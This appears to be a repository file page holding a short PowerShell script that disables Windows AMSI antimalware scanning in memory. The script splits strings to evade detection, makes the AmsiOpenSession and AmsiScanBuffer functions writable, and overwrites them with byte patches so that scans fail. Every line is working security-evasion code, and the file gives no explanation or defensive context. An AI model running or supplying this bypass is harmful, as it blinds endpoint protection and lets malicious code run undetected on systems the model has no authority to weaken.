File size: 1,232 Bytes
860cb43
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$W = @"
using System;using System.Runtime.InteropServices;
public class W {
    [DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $W

$L = [W]::LoadLibrary("am" + "si.dll")
$AmsiOpenSession = [W]::GetProcAddress($L, "Amsi" + "Open" + "Session")
$AmsiScanBuffer = [W]::GetProcAddress($L, "Amsi" + "Scan" + "Buffer")

function ChangeMemoryProtection($address, $size, $protection) {
    $oldProtect = 0
    [W]::VirtualProtect($address, [uint32]$size, $protection, [ref]$oldProtect) | Out-Null
}

$NopCode = [Byte[]](0x48, 0x31, 0xC0)
$PatchCode = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

ChangeMemoryProtection $AmsiOpenSession 3 0x40
[System.Runtime.InteropServices.Marshal]::Copy($NopCode, 0, $AmsiOpenSession, 3)
ChangeMemoryProtection $AmsiOpenSession 3 0x20

ChangeMemoryProtection $AmsiScanBuffer 6 0x40
[System.Runtime.InteropServices.Marshal]::Copy($PatchCode, 0, $AmsiScanBuffer, 6)
ChangeMemoryProtection $AmsiScanBuffer 6 0x20